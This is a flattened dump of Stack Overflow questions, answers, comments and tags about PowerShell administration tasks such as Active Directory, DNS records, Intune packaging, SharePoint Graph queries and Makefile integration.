comment on: http://stackoverflow.com/q/79227225
score: 0
type: QuestionComment
has text: @Compo, you're conflating two unrelated aspects, which is confusing: your claim that `-Format` (always) requires a _quoted_ argument isn't true as such, as I've demonstrated. Using a _space_ as the separator inside the argument indeed would require quoting. These considerations are solely related to PowerShell's parsing in [argument-parsing mode](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_Parsing#argument-mode), not to the specific issue at hand.
type: Comment

http://stackoverflow.com/comment/139593083
type: Comment
score: 1
has text: Cause the enumeration is constructing the instances from a `CimInstance` to a `MSFT_PhysicalDisk`, a lot of formatting and type extension goes thru when this cmdlet outputs, see `Get-TypeData *MSFT_PhysicalDisk` and `Get-FormatData *MSFT_PhysicalDisk`
comment on: http://stackoverflow.com/q/79164005
type: QuestionComment

aws-ssm
tags question: http://stackoverflow.com/q/79147272
type: Tag
tag name: aws-ssm

http://stackoverflow.com/comment/139529023
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79126797
score: 0
has text: It makes zero sense to me. If there is a place I can upload the actual files I am happy to do so.

http://stackoverflow.com/comment/139543527
has text: thank you for the suggestions! Visual Studio Code shows me one problem, namely : The variable 'scopes' is assigned but never used. I run the script and still no results, I am wondering maybe the scopes variable is the cause now
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79132466
type: Comment

http://stackoverflow.com/a/79208857
score: 1
has comment: http://stackoverflow.com/comment/139675030
upvote count: 1
has comment: http://stackoverflow.com/comment/139674980
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/79208836
has body: You're missing a loop in your code to get the pipped user's UserPrincipalName, add ForEach-Object and reference it via $_.UserPrincipalName, then you can .ToLower() it: Get-ADUser -Filter * -SearchBase 'OU=[REDACTED]' | ForEach-Object { Set-ADUser -Identity $_ -UserPrincipalName $_.UserPrincipalName.ToLower() }
type: Answer
accepted answer of: http://stackoverflow.com/q/79208836

jq
tags question: http://stackoverflow.com/q/79216817
type: Tag
tag name: jq

http://stackoverflow.com/comment/139516925
comment on: http://stackoverflow.com/a/79120176
type: AnswerComment
has text: Thank you for your response! I was able to revise my script to fix the original error, however, I now receive this error message: `Disable-PnpDevice : Generic failure At line:20 char:9 + Disable-PnpDevice -InstanceId $device.InstanceId -Confirm:$fa ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (Win32_PnPEntity..._330817AA&R...):ROOT\cimv2\Win32_PnPEntity) [Disable-PnpDevice], CimException + FullyQualifiedErrorId : HRESULT 0x80041001,Disable-PnpDevice`
type: Comment
score: 0

http://stackoverflow.com/comment/139609897
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79173063
type: Comment
has text: Thanks! However after some more checking here's a counter example `1..100 | foreach-object { Start-Sleep 3; $_ } | foreach-object -parallel { $_ } -ThrottleLimit 10 | foreach-object { write-host $_; [void]$Host.UI.RawUI.ReadKey() }`. No matter how long I wait, after i press a button I still have to wait 3 seconds for the next item.

http://stackoverflow.com/comment/139543382
type: AnswerComment
has text: If I remove the ikey (instrumentation key), I am getting "message": "Invalid instrumentation key"
comment on: http://stackoverflow.com/a/79136206
type: Comment
score: 0

http://stackoverflow.com/comment/139660496
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79201027
has text: Missing `-Depth` in your `ConvertTo-Json` call. See linked answer.

http://stackoverflow.com/comment/139571844
comment on: http://stackoverflow.com/q/79148904
type: QuestionComment
type: Comment
score: 0
has text: Hi Dillon Brock,

http://stackoverflow.com/a/79185659
accepted answer of: http://stackoverflow.com/q/79185230
score: 0
has comment: http://stackoverflow.com/comment/139633030
has comment: http://stackoverflow.com/comment/139633480
has comment: http://stackoverflow.com/comment/139641249
has comment: http://stackoverflow.com/comment/139637060
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/79185230
has body: I think I see what you're trying to achieve there, but I think your problem is that the code doesn't do what you're perhaps expecting it to. The line : # Add the new PTR record with whatif and confirm changes $command = Add-DnsServerResourceRecordPtr -ComputerName $computer -ZoneName $zoneName -AllowUpdateAny -TimeToLive $ttl -AgeRecord -Name $Name -PtrDomainName $NewHostName doesn't assign that command to $command so it can be run later, it runs it immediately and assigns any output from that command to the variable. Your easiest option is to get rid of most of that chunk of code, and replace it with this simplified version : Add-DnsServerResourceRecordPtr -ComputerName $computer -ZoneName $zoneName -AllowUpdateAny -TimeToLive $ttl -AgeRecord -Name $Name -PtrDomainName $NewHostName -WhatIf $confirmation = Read-Host -Prompt "Do you want to apply these changes? (y/n)" if ($confirmation -eq "y") { # Execute the command without -WhatIf Add-DnsServerResourceRecordPtr -ComputerName $computer -ZoneName $zoneName -AllowUpdateAny -TimeToLive $ttl -AgeRecord -Name $Name -PtrDomainName $NewHostName Write-Host "Changes applied." } else { Write-Host "Changes not applied." } You obviously end up with the Add-DnsServerResourceRecordPtr line written out twice, but since you're programmatically generating all the parameters anyway I don't think it's the end of the world. Update - altered version showing all THEN seeking confirmation. foreach ($record in $csv) { $zoneName = $record.Zone $computer = $record.Computer $NewHostName = $record.HostName $Name = $record.Name $ttl = $record.TimeToLive # Show the whatif for each record Add-DnsServerResourceRecordPtr -ComputerName $computer -ZoneName $zoneName -AllowUpdateAny -TimeToLive $ttl -AgeRecord -Name $Name -PtrDomainName $NewHostName -WhatIf } # Prompt for confirmation $confirmation = Read-Host -Prompt "Do you want to apply these changes? (y/n)" if ($confirmation -eq "y") { # Execute the commands without -WhatIf foreach ($record in $c…
type: Answer

http://stackoverflow.com/comment/139457231
score: 0
has text: Try adding a command to set focus in your $profile script.
comment on: http://stackoverflow.com/q/79088047
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139701971
type: QuestionComment
score: 2
type: Comment
has text: [Because temporary drives are known only to PowerShell, you can't access them by using File Explorer, Windows Management Instrumentation (WMI), Component Object Model (COM), Microsoft .NET Framework, or with tools such as net use.](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/new-psdrive?view=powershell-7.4)
comment on: http://stackoverflow.com/q/79223966

http://stackoverflow.com/comment/139516470
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79122136
has text: There is a$path (just not mentioned)
type: QuestionComment

http://stackoverflow.com/comment/139713551
type: QuestionComment
type: Comment
has text: If the application is running elevated, it can reference and construct a `Microsoft.SqlServer.Management.Smo.Wmi.ManagedComputer` directly. There's no need to keep powershell around as an awkward middleman when you're effectively just using it to invoke .NET code.
comment on: http://stackoverflow.com/q/79229639
score: 1

http://stackoverflow.com/comment/139651260
type: QuestionComment
type: Comment
has text: Why do you escape dollars with *Grave Accent* inside the `-CommandWithArgs` single-quoted string?
comment on: http://stackoverflow.com/q/79193883
score: 1

scheduled-tasks
tags question: http://stackoverflow.com/q/79111405
type: Tag
tag name: scheduled-tasks
tags question: http://stackoverflow.com/q/79231195
tags question: http://stackoverflow.com/q/79095222
tags question: http://stackoverflow.com/q/79095089
tags question: http://stackoverflow.com/q/79411096
tags question: http://stackoverflow.com/q/79265430
tags question: http://stackoverflow.com/q/79462193
tags question: http://stackoverflow.com/q/79421335
tags question: http://stackoverflow.com/q/79523080

http://stackoverflow.com/a/79220594
accepted answer of: http://stackoverflow.com/q/79219476
type: AcceptedAnswer
type: Answer
upvote count: 2
downvote count: 0
score: 2
answers question: http://stackoverflow.com/q/79219476
has body: The default shell that make uses on Windows is cmd.exe; thus, a call to powershell.exe, the Windows PowerShell CLI, such as powershell '(Get-Content -Path “config.yaml” -Raw | ConvertFrom-Yaml)' does not work, because the '...' (single-quoted) argument is taken by PowerShell to be a verbatim string literal, and is content is therefore echoed as is; from outside PowerShell (including from cmd.exe), you need "..." (double-quoted) enclosure to pass commands. That said, it is better to set PowerShell as make's default shell, which not only obviates the need for an unnecessary cmd.exe process, but allows you to pass just the PowerShell code to the $(shell ...) function; it is then make that takes care of enclosing the code in "...", if necessary, and escaping any embedded " as \". Set the SHELL and .SHELLFLAGS variables, as shown below. The startup cost of the PowerShell CLI is nontrivial, so it's best to use a single call that extracts all information of interest, and parse it into individual values afterwards. The following sample Makefile puts it all together: Important: After copying & pasting, make sure that the line after foo: starts with an actual tab character rather than spaces (which is a general requirement for recipe lines); if you end up with spaces instead, running make won't report any results and (confusingly) state make: Nothing to be done for 'FOO'. Works verifiably with GNU Make 4.4.1, but presumably also earlier versions, assuming that the following prerequisites are met: A config.yaml file with the content shown in your question is present in the current directory. The powershell-yaml module that ConvertFrom-Yaml is a part of must be discoverable by module auto-loading, i.e. it must be located in one of the directories listed in $env:PSModulePath, so that the cmdlet can be invoked without requiring an explicit Import-Module call first. This is ensured by default if you installed the module with Install-Module. # Define what shell to use and what opti…

http://stackoverflow.com/comment/139722914
score: 0
comment on: http://stackoverflow.com/a/79228955
has text: @not2qubit no, you can't have that object available in a different process. at best you could serialize it and deserialize it in a different process but it would be just a copy of that object. best place to learn are the .NET docs
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/139472277
type: Comment
has text: thanks a lot!!!!it's very helpful
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79097306

http://stackoverflow.com/comment/139535862
score: 0
comment on: http://stackoverflow.com/q/79132942
type: QuestionComment
type: Comment
has text: @MathiasR.Jessen I think the same is needed for StrongAuthenticationRequirements

http://stackoverflow.com/comment/139633030
comment on: http://stackoverflow.com/a/79185659
type: Comment
has text: Thank you Stack and Keith. I will try both of your recommendations and reply with details on the outcome.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139451380
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79084361
has text: `$output = X:\app.exe`

sharepoint
tags question: http://stackoverflow.com/q/79119175
type: Tag
tags question: http://stackoverflow.com/q/79153871
tags question: http://stackoverflow.com/q/79239345
tags question: http://stackoverflow.com/q/79193700
tag name: sharepoint
tags question: http://stackoverflow.com/q/79379208
tags question: http://stackoverflow.com/q/79361998
tags question: http://stackoverflow.com/q/79392746
tags question: http://stackoverflow.com/q/79301292
tags question: http://stackoverflow.com/q/79264968
tags question: http://stackoverflow.com/q/79431230
tags question: http://stackoverflow.com/q/79541603
tags question: http://stackoverflow.com/q/79526093
tags question: http://stackoverflow.com/q/79505199
tags question: http://stackoverflow.com/q/79436328
tags question: http://stackoverflow.com/q/79464839
tags question: http://stackoverflow.com/q/79498463
tags question: http://stackoverflow.com/q/79515665

http://stackoverflow.com/comment/139567476
score: 0
comment on: http://stackoverflow.com/q/79150204
has text: This question is similar to: [How to export data to CSV in PowerShell?](https://stackoverflow.com/questions/21047185/how-to-export-data-to-csv-in-powershell). If you believe it’s different, please [edit] the question, make it clear how it’s different and/or how the answers on that question are not helpful for your problem.
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79083214
score: 1
answers question: http://stackoverflow.com/q/79081337
has comment: http://stackoverflow.com/comment/139445245
has body: It looks like a PATH issue. When your installing the AWS CLI the PATH gets updated for the system / any new processes, but updates to the PATH are not automatically applied to the current process. Theres several ways of working around this issue: Use an absolute path to aws.exe - replace aws with "C:\Program Files\Amazon\AWSCLIV2\aws.exe" (or whever you installed it) use an Alias - Set-Alias -Name aws -Value "C:\Program Files\Amazon\AWSCLIV2\aws.exe" Modify the PATH for the current powershell script - $env:Path += ";C:\Program Files\Amazon\AWSCLIV2" (you need to use double quotes due to the space in the path)
has comment: http://stackoverflow.com/comment/139444935
type: Answer
downvote count: 0
upvote count: 1

http://stackoverflow.com/a/79240869
has comment: http://stackoverflow.com/comment/139733589
type: Answer
score: 1
has body: Indeed, it is safe to invoke [scriptblock] instances if and only if: either: they are bound to the same runspace as the caller (binding to the caller's runspace happens when you use script block literals ({ ... }) or: they are unbound (as happens when you use [scriptblock]::Create('&lt;source-code&gt;') or { ... }.Ast.GetScriptBlock()), in which case they can be safely invoked from any runspace. Unfortunately, there are no public APIs to determine a given script block's runspace affinity, if any, but you can solve the problem via non-public APIs, using .NET reflection, which comes with the usual caveat: Non-public APIs aren't meant to be called from the outside, and are subject to change without notice. In the case at hand, there are unfortunately three non-public members that must be accessed. The following custom function, Assert-Invokable, asserts that a given [scriptblock] instance can be safely invoked by the caller, and reports a statement-terminating error (exception) otherwise. function Assert-Invokable { param( [Parameter(Mandatory)] [scriptblock] $ScriptBlock ) # Get the runspace associated with the given script block, if any. $rs = &amp; { # Binding flags for finding non-public instance members via reflection. $bindingFlags = [System.Reflection.BindingFlags] 'NonPublic, Instance' # Get the non-public [System.Management.Automation.SessionStateInternal] instance # associated with the script block, via the non-public .SessionStateInternal property. $ssInternal = [scriptblock].GetProperty('SessionStateInternal', $bindingFlags).GetValue($ScriptBlock) if ($ssInternal) { # From the [System.Management.Automation.SessionStateInternal] instance, # obtain the associated non-public [System.Management.Automation.ExecutionContext] instance. # via the non-public .ExecutionContext property. $ec = $ssInternal.GetType().GetProperty('ExecutionContext', $bindingFlags).GetValue($ssInternal) # From the [System.Management.Automation.ExecutionContext] instance, obtain the associ…
upvote count: 1
answers question: http://stackoverflow.com/q/79239933
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139733460
has comment: http://stackoverflow.com/comment/139733386
accepted answer of: http://stackoverflow.com/q/79239933
has comment: http://stackoverflow.com/comment/139733367
downvote count: 0

http://stackoverflow.com/a/79226221
type: Answer
answers question: http://stackoverflow.com/q/79223966
upvote count: 1
score: 1
has body: The mapping between Top and the mapped file system path only exists in-memory in your PowerShell session - it's not visible to any other process or the OS. You can convert a PowerShell-specific path to it's underlying provider path, so you could do: git clean -dfx (Convert-Path Top:\child\path) Whether that's more or less readable that the alternatives (eg. git clean -dfx (Join-Path $repoRoot "child\path")) is subjective :)
downvote count: 0

http://stackoverflow.com/comment/139665653
type: AnswerComment
comment on: http://stackoverflow.com/a/79202285
score: 1
has text: Thanks Michael for the detailed feedback. I forgot it was the [parameter()] attribute that implied the cmdletbinding, I'll update that. Wow I swear I tried the Import-Module on the ps1 and it didn't work, but trying again just now it worked. It was late, though. I'll update the post.
type: Comment

http://stackoverflow.com/comment/139459367
has text: @GajananaDS, if this is working for you, please select the check mark so that other people will know this is the best answer. This is how SO works.
type: Comment
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/79089905

http://stackoverflow.com/comment/139547791
type: Comment
score: 0
has text: The cmdlet does not work with an Active Directory ***snapshot*** @jdweng.
comment on: http://stackoverflow.com/q/79132168
type: QuestionComment

http://stackoverflow.com/comment/139729469
has text: When you say "i try to use any of my installed modules", how, specifically, are you using them? Are you saying that invoking any cmdlet / function from any of the modules you've installed with `Install-Module` produces this error message? _Only_ this error message, or does the cmdlet / function still run? What about cmdlets from other sources, such as the built-in ones? What about calls to external programs? Does the error message appear there too?
type: QuestionComment
type: Comment
score: 3
comment on: http://stackoverflow.com/q/79239103

http://stackoverflow.com/q/79232971
has title: How to run ps1 files on intune?
tagged with: powershell
type: UnansweredQuestion
tagged with: intune
score: 0
type: Question
answer count: 0
has body: I need to add a powershell script that changes a data value in registry editor. The script is running well on my local computer but not sure how to convert it to intune package properly. I can't use intune remediations because i have no permissions to use it. Is it possible to use this script as win32 app ? I've created two powershell script and used Win32 Content Prep Tool to convert them to a intune package then uploaded the .intunewin file to intune as win32 app and filled the required blanks correctly and configured detection rules as well but whenever I try to install it on company portal it fails. Tried to run those scripts from a cmd file as well but didn't work. I used registry detection method.
has comment: http://stackoverflow.com/comment/139719579
has comment: http://stackoverflow.com/comment/139719617

http://stackoverflow.com/comment/139721879
type: Comment
has text: Unfortunately, no output in the file. Tried on StartUp and Shutdown. So the script must not be running at all. Maybe the system is in a state where the powershell env is not able to run successfully.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79232052

http://stackoverflow.com/comment/139550068
score: 0
comment on: http://stackoverflow.com/q/79132168
type: QuestionComment
has text: _"snap shot may be on one machine and the other machines the directory is a link"_. How to verify @jdweng? Anyway, I don't think it even matters, as it should not affect installation, on a normal machine, not AD itself.
type: Comment

http://stackoverflow.com/comment/139634399
has text: Thanks a lot! It works great. This is my first script using powershell. I was trying to find documentation for this module, but didn't find anything... Now i know where is source code
type: AnswerComment
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79185888

path-variables
type: Tag
tags question: http://stackoverflow.com/q/79140018
tag name: path-variables

http://stackoverflow.com/comment/139712436
type: Comment
has text: As you dealing with multiple subscription try to include SubscriptionName and DaysUntilExpiry in the configuration @manjuS
score: 0
comment on: http://stackoverflow.com/q/79229813
type: QuestionComment

http://stackoverflow.com/q/79205090
type: UnansweredQuestion
tagged with: sharepoint-online
type: Question
has title: Return Email Address from SharePoint People/Group using GraphAPI
has answer: http://stackoverflow.com/a/79205181
tagged with: powershell
has body: I am using Microsoft GraphAPI to query a SharePoint list. The list has a field called Buyer. When I query a record for that buyer field, what is returned is a number associated with the user in the list permissions. $ListitemConnection = Get-MgSiteListItem -SiteId $siteId -ListId $listId -ListItemId $ItemId -ExpandProperty "fields" -Property * $ListitemDetails = $ListitemConnection.Fields.AdditionalProperties $BuyerID = $ListitemDetails.BuyerLookupId So in the above code $BuyerID will return a number such as "45". I would like to convert that number to the person's email address but am unsure how. I looked at the Get-MgUser command but that does not use the PropertyNameLookupID to find the user. In case it matters, I am connecting to graph using an Azure appID/secret and our tenant. Connect-MgGraph -ClientSecretCredential $ClientSecretCredential -TenantId $TenantID -NoWelcome I would prefer to stick to a solution that only uses GraphAPI and does not require the use of PNP.PowerShell. Can anyone offer a suggestion?
answer count: 1
tagged with: microsoft-graph-api
score: 0

http://stackoverflow.com/comment/139550278
score: 0
has text: I added another solution moving the code around a little bit.
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79137320

filesystems
tags question: http://stackoverflow.com/q/79092175
type: Tag
tag name: filesystems

http://stackoverflow.com/comment/139565811
comment on: http://stackoverflow.com/q/79149164
type: QuestionComment
has text: How do you know you have a memory leak?
type: Comment
score: 6

http://stackoverflow.com/q/79173076
score: 0
has answer: http://stackoverflow.com/a/79173094
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/35879774
has body: I am getting very frustrated trying to write something out. Apparently my Write-Host or if I use Write-Output right after my Invoke-RestMethod is not working. I am having no problems writing out the 'YYYYYYYYYYYYYYY' just before my rest call. But the 'XXXXXXXXXXXXXXXXXXXXXXX' are skipped for some reason. If I debug I $messagesCount gets set with the amount of messages from, but seems like my function returns true regardless of the $messagesCount. function IsQueueEmpty { param ( [string]$url, [string]$user, [string]$pd ) # Try to get queue details from RabbitMQ API try { Write-Host "Queue has YYYYYYYYYYYYYYYYYYYYYY messages remaining." # Make the API call to get queue information $response = Invoke-RestMethod -Uri $url -Credential (New-Object PSCredential ($user, (ConvertTo-SecureString $pd -AsPlainText -Force))) # Get the number of messages in the queue $messagesCount = $response.messages # Write out the remaining number of messages in the queue Write-Host "Queue has XXXXXXXXXXXXXXXXXXXXXXXX messages remaining." # NOT WORKING # Return true if the queue is empty, false otherwise return ($messagesCount -eq 0) # Returns true if queue is empty } catch { Write-Output "An error occurred: $_" return $false } } This is my function, where I am trying to write out the count of messages from my rest call. Debugging return the correct amount of messages (26), but I cannot write it out and my return ($messagesCount -eq 0) returns true all the time. function IsQueueEmpty { param ( [string]$url, [string]$user, [string]$pd ) # Try to get queue details from RabbitMQ API try { # Make the API call to get queue information $response = Invoke-RestMethod -Uri $url -Credential (New-Object PSCredential ($user, (ConvertTo-SecureString $pd -AsPlainText -Force))) # Get the number of messages in the queue $messagesCount = $response.messages # Write out the remaining number of messages in the queue Write-Host "Queue has $messagesCount messages remaining." # Return true if the queue is empty, fa…
has comment: http://stackoverflow.com/comment/139609916
has title: Write-Output inside a PowerShell
type: Question
answer count: 1
tagged with: powershell

http://stackoverflow.com/a/79148464
score: 0
has body: SOLVED! I was able to download Fastchunking 0.0.3 manually from here and run python.exe .\setup.py build python.exe .\setup.py install using Python 3.10.
type: Answer
has comment: http://stackoverflow.com/comment/139587805
answers question: http://stackoverflow.com/q/79138856

http://stackoverflow.com/q/79136730
type: UnansweredQuestion
has title: Using Microsoft.Web.WebView2 in Powershell
type: Question
has body: I'm trying to make a simple PowerShell script to interact with a website using Microsoft.Web.WebView2. For debugging purpose I put it on a WinForm with green background. Add-Type -Path "$($env:APPDATA)\..\Local\Microsoft\TeamsMeetingAddin\1.0.23061.1\x86\Microsoft.Web.WebView2.WinForms.dll" Add-Type -Path "$($env:APPDATA)\..\Local\Microsoft\TeamsMeetingAddin\1.0.23061.1\x86\Microsoft.Web.WebView2.Core.dll" Add-Type -AssemblyName "System.Windows.Forms" $Form = [System.Windows.Forms.Form]::new() $Form.Width = 1280 $Form.Height = 1024 $Form.BackColor = [System.Drawing.Color]::Green $WebView2 = [Microsoft.Web.WebView2.WinForms.WebView2]::new() $WebView2.Width = 1240 $WebView2.Height = 984 $WebView2.CreationProperties = [Microsoft.Web.WebView2.WinForms.CoreWebView2CreationProperties]::new() $WebView2.CreationProperties.UserDataFolder = "C:\1\Temp" $WebView2.Source = "https://www.google.com" $WebView2.Update() $Form.Controls.Add($WebView2) $Form.ShowDialog() Unfortunately it just shows a blank green form.
tagged with: webview2
answer count: 0
tagged with: powershell
score: 0

http://stackoverflow.com/comment/139605198
type: AnswerComment
has text: Using 4.1 API version shows correctly all users. I see that the users have either "assignmentSource": "unknown" or "assignmentSource": "groupRule". There is no "direct" property or any other third type of assignmentSource. I noticed that you have updated your Script in Answer : # Azure DevOps API Endpoint $devOpsApiUrl = "https://vsaex.dev.azure.com/$organization/_apis/userentitlements?top=2000&api-version=4.1-preview.1". However, when I run it I get : No user entitlements found in Azure DevOps.
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79132466

http://stackoverflow.com/q/79098114
answer count: 2
type: Question
has comment: http://stackoverflow.com/comment/139472633
linked to: http://stackoverflow.com/q/38419325
has comment: http://stackoverflow.com/comment/139500100
has body: I'm developing Azure Devops build pipeline which will automate Power Bi deployments using Power BI deployment pipelines. Yaml file is executing my powershell script which contains all the logic and and the end it is running a command: try{ $deployResult = Invoke-PowerBIRestMethod -Url $url -Method Post -Body $body | ConvertFrom-Json } catch { $errorMsg = Resolve-PowerBIError -Last Write-Output $errorMsg.Message } The command is working fine both locally and in a pipeline, but the problem is when sometime there is an error during deployment (typically user error) the output in pipeline is only consists of 1 line which makes it hard to debug those issues. Response status code does not indicate success: 400 (Bad Request). But, locally, exactly same script returns me much more info: { "code": "Alm_InvalidRequest_ArtifactsValidationFailure", "pbi.error": { "code": "Alm_InvalidRequest_ArtifactsValidationFailure", "details": [ { "code": "Alm_InvalidRequest_ArtifactReferenceModelWithoutPermissions", "detail": { "type": 1, "value": "{\"artifactTypeName\":\"Reports\",\"artifactId\":\"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx\"}" } } ], "exceptionCulprit": 1 } } Yaml file is: --- trigger: branches: include: - INT variables: workspaceName: My workspace [Development] pipelineName: My pipeline stages: - stage: DeployToINT jobs: - deployment: DeployToINT pool: name: POWERBI environment: Power BI test strategy: runOnce: deploy: steps: - task: CmdLine@2 inputs: script: 'git config --system core.longpaths true' - checkout: git://Power BI/_git/DevOps@test - checkout: self fetchDepth: 100 - task: PowerShell@2 inputs: filePath: './DevOps/testApicall.ps1' arguments: '-passwordKey "$(passwordKeyINT)"' failOnStderr: true showWarnings: true PowerShell script which I'm using. Sensitive data substituted with <>: param( $passwordKey = "<password>" ) $ErrorActionPreference = "Stop" $reportsList = @() [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Write-Output "Loggin…
tagged with: azure-devops
has comment: http://stackoverflow.com/comment/139515743
tagged with: powerbi
has comment: http://stackoverflow.com/comment/139513587
has title: Azure Devops build pipeline does not have detailed error message after API call to Power BI
tagged with: powershell
has comment: http://stackoverflow.com/comment/139520883
has comment: http://stackoverflow.com/comment/139500238
has comment: http://stackoverflow.com/comment/139477700
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/79124950
score: 0
has comment: http://stackoverflow.com/comment/139521212
has answer: http://stackoverflow.com/a/79117654

http://stackoverflow.com/q/79202450
type: Question
has body: $PSVersionTable.PSVersion Major Minor Build Revision ----- ----- ----- -------- 5 1 22621 4391 Consider the following snippet # Function to determine if the OS is Windows Server function Is-WindowsServer { $osVersion = (Get-WmiObject -Class Win32_OperatingSystem).Caption return $osVersion -like "*Server*" } # Function to check if SMB/Network Sharing is installed function Is-SMBInstalled { if (Is-WindowsServer) { Write-Output "Detected Windows Server. This should print." $smbFeature = Get-WindowsFeature -Name FS-SMB1 -ErrorAction SilentlyContinue if ($smbFeature -and $smbFeature.Installed) { return $true } else { return $false } } else { Write-Output "Detected Windows 10/11 client. This should print." $smbFeature = Get-WindowsOptionalFeature -Online -FeatureName "SMB1Protocol" -ErrorAction SilentlyContinue if ($smbFeature -and $smbFeature.State -eq "Enabled") { return $true } else { return $false } } Write-Output "This should be unreachable." } Is-SMBInstalled # probe if (Is-SMBInstalled -eq $true) { Write-Output "If above line is False. This should not print." } Expected output on Windows 10/11 with Samba disabled: Detected Windows 10/11 client. This should print. False Script output on Windows 10/11 with Samba disabled: Detected Windows 10/11 client. False If above line is False. This should not print. Moreover, by itself, if (Is-SMBInstalled -eq $true) { Write-Output "If above line is False. This should not print." } doesn't seem to properly calls Is-SMBInstalled. Without Is-SMBInstalled # probe, the output is just If above line is False. This should not print. I've tried refactoring by putting Is-SMBInstalled inside a $variable, this works in a sense that the function is properly called. But the conditional still behaves unexpectedly. I also tried the grouping function as per https://stackoverflow.com/a/66585435/14097947 if ((Is-SMBInstalled)) {, this also doesn't work.
has title: Unexpected return value when using function in an if statement
linked to: http://stackoverflow.com/q/69896849
has comment: http://stackoverflow.com/comment/139664975
downvote count: 0
answer count: 1
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/139664957
accepted answer: http://stackoverflow.com/a/79202486
tagged with: powershell
has answer: http://stackoverflow.com/a/79202486
tagged with: powershell-5.1
score: 1
linked to: http://stackoverflow.com/q/66585277
upvote count: 1
favorite count: 0
duplicate of: http://stackoverflow.com/q/69896849

http://stackoverflow.com/comment/139723005
type: AnswerComment
has text: @Dan, these are the GPO policies that govern the effective PowerShell execution policy (reflected in the `MachinePolicy` and `UserPolicy` output lines when you run `Get-ExecutionPolicy -List`). If set to `Undefined` (reflected in `gpedit.msc` as `Not Configured`), they default to `Restricted` (meaning: script-file executions are _disallowed_), unless preempted by a higher-precedence scope (`MachinePolicy` has the highest precedence; `Get-ExecutionPolicy -List` lists in precedence order, highest first).
comment on: http://stackoverflow.com/a/79232052
type: Comment
score: 0

http://stackoverflow.com/comment/139504254
has text: replacing '|' with '`|' doesn't help
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79115375

http://stackoverflow.com/comment/139633936
type: Comment
comment on: http://stackoverflow.com/q/79183054
has text: Problem with `Win32_CodecFile` is that it only seem to provide the name of the DLL or ACM file, nothing else.
score: 0
type: QuestionComment

http://stackoverflow.com/q/79229441
has comment: http://stackoverflow.com/comment/139742202
has title: Creating folders in OneDrive via PowerShell
type: Question
answer count: 0
tagged with: office365
has comment: http://stackoverflow.com/comment/139743384
tagged with: powershell
has body: I am unable to create files/folders in my OneDrive, I got this message: Resolve-PnPFolder : The remote server returned an error: (403) Forbidden Microsoft changed how to connect via PnP and now no one can connect with a user. I do have an application and I am trying to connect with ClientID and Secret when connecting I am getting this warning: WARNING: Connecting with Client Secret uses legacy authentication and provides limited functionality. We can for instance not execute requests towards the Microsoft Graph, which limits cmdlets related to Microsoft Teams, Microsoft Planner, Microsoft Flow and Microsoft 365 Groups. You can hide this warning by using Connect-PnPOnline [your parameters] -WarningAction Ignore I added almost everything in App permissions and still got this message, what could be the reason? $OneDriveSiteURL = "https://XXXXtest104-my.sharepoint.com/personal/agileqa_XXXXXtest104_onmicrosoft_com" Connect-PnPOnline -Url $OneDriveSiteURL -ClientId "3ed262a0-f02e-48f4-9ede-ef90c76aXXXX" -ClientSecret "dAs8Q~XXXXkdmF4bF3UI1Hke2yxtTgXXXX" I can tell that we used a Nuget that someone prepared and it worked as expected with the same App registration, we must use PowerShell instead of this Nuget (there is a reason for that...) I used this and it's working but it creates a folder in SPO and not in OD why? OneDrive FB create Folder with Microsoft Graph API Powershell $clientId = "XXXXXXXXXXXXXX" $tenantId = "XXXXXX.onmicrosoft.com" $clientSecret = 'XXXXXXXXXXXX' $uri = "https://login.microsoftonline.com/$tenantId/oauth2/v2.0/token" $body = @{ client_id = $clientId scope = "https://graph.microsoft.com/.default" client_secret = $clientSecret grant_type = "client_credentials" } $tokenRequest = Invoke-WebRequest -Method Post -Uri $uri -ContentType "application/x-www-form-urlencoded" -Body $body -UseBasicParsing $token = ($tokenRequest.Content | ConvertFrom-Json).access_token Write-Host $token $uri = "https://graph.microsoft.com/v1.0/<ID XXXXXXX>/drive/root/children"…
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/61250926
has comment: http://stackoverflow.com/comment/139748073
score: 0

http://stackoverflow.com/comment/139631033
type: Comment
has text: See also [Azure policy require specific tags on resources](https://medium.com/@geralexgr/azure-policy-require-specific-tags-on-resources-72b911f6c725).
score: 0
comment on: http://stackoverflow.com/q/79184599
type: QuestionComment

http://stackoverflow.com/comment/139520685
score: 0
comment on: http://stackoverflow.com/a/79121799
has text: And? Any results or answers on the counter questions? Does it run faster when invoke a second time? What if you place the `Convert-FIleName` code directly inside the `foreach`? What if you use a type initiator rather than `New-Object`? What about the measurements of the different approaches and parts as suggested by @RichMoss?
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/139449352
comment on: http://stackoverflow.com/q/79085306
type: QuestionComment
type: Comment
